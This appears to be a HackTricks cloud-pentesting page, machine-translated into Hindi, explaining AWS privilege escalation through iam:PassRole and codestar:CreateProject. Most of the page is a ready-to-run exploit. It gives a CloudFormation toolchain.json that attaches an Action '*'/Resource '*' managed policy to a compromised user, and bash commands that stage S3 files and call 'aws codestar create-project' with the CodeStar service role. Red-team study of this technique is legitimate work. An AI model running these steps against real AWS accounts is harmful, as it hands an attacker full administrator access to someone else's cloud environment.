iam:PassRole, codestar:CreateProject

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

इन अनुमतियों के साथ आप codestar IAM Role का दुरुपयोग करके एक cloudformation टेम्पलेट के माध्यम से विविध क्रियाएं कर सकते हैं।

इसे उत्पादित करने के लिए आपको एक S3 बकेट बनाना होगा जो हमले किए गए खाते से पहुंचने योग्य हो। एक फ़ाइल अपलोड करें जिसका नाम toolchain.json है। इस फ़ाइल में cloudformation टेम्पलेट दुरुपयोग शामिल होना चाहिए। निम्नलिखित उपयोग किया जा सकता है ताकि आपके नियंत्रण के तहत एक उपयोगकर्ता के लिए एक प्रबंधित नीति सेट की जा सके और उसे प्रशासक अनुमतियाँ दी जा सकें:

toolchain.json
{
"Resources": {
"supercodestar": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"ManagedPolicyName": "CodeStar_supercodestar",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"Users": [
"<compromised username>"
]
}
}
}
}

इस खाली zip फ़ाइल को बकेट में अपलोड करें:

ध्यान रखें कि विक्टिम अकाउंट द्वारा दोनों फ़ाइलों के साथ बकेट एक्सेस किया जाना चाहिए

दोनों चीजों को अपलोड करने के बाद, आप एक codestar प्रोजेक्ट बनाने के लिए एक्सप्लोइटेशन कर सकते हैं:

PROJECT_NAME="supercodestar"

# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"empty.zip\"
}
},
\"destination\": {
\"codeCommit\": {
\"name\": \"$PROJECT_NAME\"
}
}
}
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH

# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"toolchain.json\"
}
},
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH

# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH

यह एक्सप्लॉइट इन प्रिविलेजेज के Pacu एक्सप्लॉइट पर आधारित है: https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997 इसमें आपको एक वेरिएशन मिलेगा जिससे आप एक यूजर के बजाय रोल के लिए एक एडमिन प्रबंधित नीति बना सकते हैं।

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated